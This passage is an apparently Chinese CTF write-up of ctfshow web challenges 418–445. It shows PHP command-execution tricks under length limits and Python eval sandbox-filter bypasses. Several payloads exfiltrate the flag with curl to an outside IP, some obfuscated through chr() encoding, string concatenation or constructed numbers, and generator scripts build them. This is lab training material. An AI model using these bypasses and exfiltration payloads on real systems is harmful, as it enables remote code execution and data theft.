$die?die('FLAG_NOT_HERE'):clear($clear);
}首先由于这里是一个强类型比较,即使我们可以利用extract进行变量覆盖,也无法利用ctfshow这个变量进行RCE。所以下面就要考虑
clear()
函数,它看起来像是clear.php中的函数。其实 这里也没说明这个函数参数是咋用的,但是应该是有一个shell_exec
作为sink。那么我们就可以利用管道符拼接那一套1
clear=;cp flag.php flag.txt
但是注意我们要成功传入clear函数还需满足die变量值为0且key随便取
1
key=a&die=0&clear=;cp flag.php flag.txt
web419 想想办法
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-29 01:36:24
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 17){
eval($code);
}
Notice: Undefined index: code in /var/www/html/index.php on line 18这里可以执行任意代码,限制了长度不能超过16
还是很充足的
1
code=echo `cat fl*`;
web420 想想办法
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-29 01:41:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 8){
system($code);
}
Notice: Undefined index: code in /var/www/html/index.php on line 18
Warning: system(): Cannot execute a blank command in /var/www/html/index.php on line 20直接换成system了,不用我们自己回显
1
env
不过发现flag不在根目录也不在当前目录了,不过发现在上一级,但是我们code最多7个字符,可以利用
nl
1
nl ../*
web421 想想办法
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-29 01:42:50
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 6){
system($code);
}
Notice: Undefined index: code in /var/www/html/index.php on line 18
Warning: system(): Cannot execute a blank command in /var/www/html/index.php on line 20这次虽然限制到了5个字符,但是flag在当前目录了
1
nl f*
web422 想想办法
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-29 01:42:50
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 5){
system($code);
}
Notice: Undefined index: code in /var/www/html/index.php on line 18
Warning: system(): Cannot execute a blank command in /var/www/html/index.php on line 20秀啊,限制到4个字符了。不过nl是支持读多个文件的
1
nl *
web423 想想办法
源代码中提示
/?code
这题出的有点提示太少了,wp中有源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14from flask import Flask
from flask import request
import os
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)题目导入了os模块,因此我们可以直接使用一些系统执行函数,比如
os.popen()
或者os.system()
不过也可以直接调用读写文件函数1
open('/flag').read()
web424 想想办法
(去掉了os模块)没变化
web425 想想办法
这道题实际上是过滤了
os|popen
,仍然没过滤openweb426 想想办法
过滤
os|popen
web427 想想办法
过滤
os|popen|system
web428 想想办法
过滤
os|popen|system|read
,题出的有问题web429 想想办法
匹配正则时没有去掉前后的空格,因此还是
1
<space>open(%27/flag%27).read()
web430 想想办法
过滤
os|open|system|read|eval
web431 想想办法
过滤
os|open|system|read|eval|str
web432 想想办法
这关恢复正常了,过滤掉了
os|open|system|read|eval
这里可以利用模板注入的思路
首先获取当前命名空间下所有内置函数的字典,可以通过
str()
来输出以便服务器回显1
__builtins__.__dict__
可以看到我们是可以调用import模块的,我们导入os模块即
1 |
|
接着利用其命令执行函数system
,绕过思路就是可以改成用魔术方法__getattribute__
来使得方法用字符串的方式来调用
1 |
|
我们利用一个curl来外带数据即可
1 |
|
web433 想想办法
过滤
os|open|system|read|eval|builtins
直接调用
__import__
也是可以滴1
str(__import__('o'%2b's').__getattribute__('sys'%2b'tem')('curl http://43.140.198.45:5000/?flag=`cat /f*`'))
web434 想想办法
这次过滤了
os|open|system|read|eval|builtins|curl
当然只要是字符串我们就可以通过拼接绕过
1
str(__import__('o'%2b's').__getattribute__('sys'%2b'tem')('cur'%2b'l http://43.140.198.45:5000/?flag=`cat /f*`'))
web435-439 想想办法
这次过滤
os|open|system|read|eval|builtins|curl|_
这里学习一个新的命令执行函数
exec
(咋跟java那么像)
这样就可以提供一个类似eval的函数,并且我们是可以执行多条python代码的(通过分号进行分割)
而针对关键词的过滤这关我们换个方法,利用字符串反转
1 |
|
web440 想想办法
这关多过滤了引号,我们有内置函数
chr()
可以用,通过chr进行拼接1
2
3
4
5
6
7
8
9
10
11
12def cchr(s):
exp = ''
for i in range(len(s)):
if i < len(s)-1:
exp += 'chr('+str(ord(s[i]))+')%2b'
else:
exp += 'chr('+str(ord(s[i])) + ')'
return exp
payload = 'import os; os.system("curl http://43.140.198.45:5000/?flag=`cat /f*`")'
print(cchr(payload))payload:
1
str(exec(chr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(32)%2bchr(111)%2bchr(115)%2bchr(59)%2bchr(32)%2bchr(111)%2bchr(115)%2bchr(46)%2bchr(115)%2bchr(121)%2bchr(115)%2bchr(116)%2bchr(101)%2bchr(109)%2bchr(40)%2bchr(34)%2bchr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(52)%2bchr(51)%2bchr(46)%2bchr(49)%2bchr(52)%2bchr(48)%2bchr(46)%2bchr(49)%2bchr(57)%2bchr(56)%2bchr(46)%2bchr(52)%2bchr(53)%2bchr(58)%2bchr(53)%2bchr(48)%2bchr(48)%2bchr(48)%2bchr(47)%2bchr(63)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(61)%2bchr(96)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(42)%2bchr(96)%2bchr(34)%2bchr(41)))
web441 想想办法
多过滤双引号,这里再复习一下ssti绕过思路中的request绕过,由于是代码执行,所以是可以直接调用
request.args.get
的1
str(exec(request.args.get(chr(97))))&a=__import__('os').system('curl http://43.140.198.45:5000/?flag=`cat /f*`')
web442 想想办法
这关针对code变量过滤掉了数字,也就是chr没法直接用了。我们利用其的目的其实只是为了获取一个字符串用来充当传参变量名,所以找另外一个可以直接返回字符串的函数也是可以的,比如
request.method
就会返回GET
字符串,而我们拿它当变量名就好了1
str(exec(request.args.get(request.method)))&GET=__import__('os').system('curl http://43.140.198.45:5000/?flag=`cat /f*`')
web443 想想办法,提交参数为POST
这里的思路是构造数字,参考自偶像Y4tacker
这里用的是一种递归式构造,对于最基本的数字,即-2,-1,0,1,我们即采用长度构造的方式
1
2
3
4
5
60 -> int(len(str()))
1-> int(len(str(None))/len(str(None)))
0 的取反是 -1
1 的取反是 -2
-1 -> ~int(len(str()))
-2 -> ~int(len(str(None))/len(str(None)))而对于其他数字我们拆分成奇数和偶数,对于所有的奇数,都是可以通过取反一个小的数字来构造出的;而对于偶数,采用移位的方式
<<
,没除一次2,就移位1次1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17def getNumber(num):
number = int(num)
if number in [-2, 1, 0, 1]:
return ["~int((len(str(None))/len(str(None))))", "~int(len(str()))", "int(len(str()))", "int((len(str(None))/len(str(None))))"][number+2]
if number % 2 == 1:
return '~%s' % getNumber(~number)
else:
return '(%s<<(int((len(str(None))/len(str(None))))))' % getNumber(number/2)
payload = "import os;os.system('curl http://43.140.198.45:5000/?flag=`cat /f*`')"
exp = 'str().join(['
for i in payload:
exp += f"chr({getNumber(ord(i))}),"
exp = exp[:-1] # 去掉最后一个','
exp += '])'
print(exp)payload:
1
str().join([chr(~(~((~(~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~(~((~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((((~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((((~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((~(~((~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((~(~(~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((((((int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((((~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((~((~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((~(~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((((~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((~((~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((~(((~(int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((~((~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~((~(((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((~((~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((~(~(~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~(~(~((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~(~((~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((((~(~(int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(((~((int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((~(((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~(~(~(~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((~(~((~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((~((~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((((((int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((((~(~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((~(~(~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((~(~(~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((((~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((~(~(~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((((~(int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((((~(int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((~(~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((~((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((~(((~(int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~(((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((~(~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((~(((~(int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~(((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~((~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((((~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((~(((~(int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((~(~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~(~(~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((~(~(~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~(~(~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((((~(int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(((((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((~((~((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((~((~(~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~((((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(((~((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~(~(((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((((((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((~(((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~((((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(((~(~(~((~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((((((int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~((((~(int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((~((~((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((~(~(~(~(int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr((((((~(~int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(((~((int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))),chr(~(~((~(~(int((len(str(None))/len(str(None))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None))))))<<(int((len(str(None))/len(str(None)))))))])
1
str(exec(xxx))
web444
这次题目给了源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37from flask import Flask
from flask import request
import re
app = Flask(__name__)
def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)
def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])
@app.route('/',methods=['POST', 'GET'])
def app_index():
if request.method == 'POST':
code = request.form['code']
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)主要限制即不允许Unicode或者hex编码,同时这关禁用了
curl
和len
那么我们不再能直接利用len来构造数字了,python中还有bool类型的True/False也可以充当数字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17def getNumber(num):
number = int(num)
if number in [-2, -1, 0, 1]:
return ["~int(True)", "~int(False)", "int(False)", "int(True)"][number+2]
if number % 2 == 1:
return '~%s' % getNumber(~number)
else:
return '(%s<<(int(True)))' % getNumber(number/2)
payload = "import os;os.system('curl http://43.140.198.45:5000/?flag=`cat /f*`')"
exp = 'str().join(['
for i in payload:
exp += f"chr({getNumber(ord(i))}),"
exp = exp[:-1] # 去掉最后一个','
exp += '])'
print(exp)web445 模块重载
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39from flask import Flask
from flask import request
import re
import os
del os.system
del os.popen
app = Flask(__name__)
def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)
def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])
@app.route('/',methods=['POST', 'GET'])
def app_index():
if request.method == 'POST':
code = request.form['code']
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
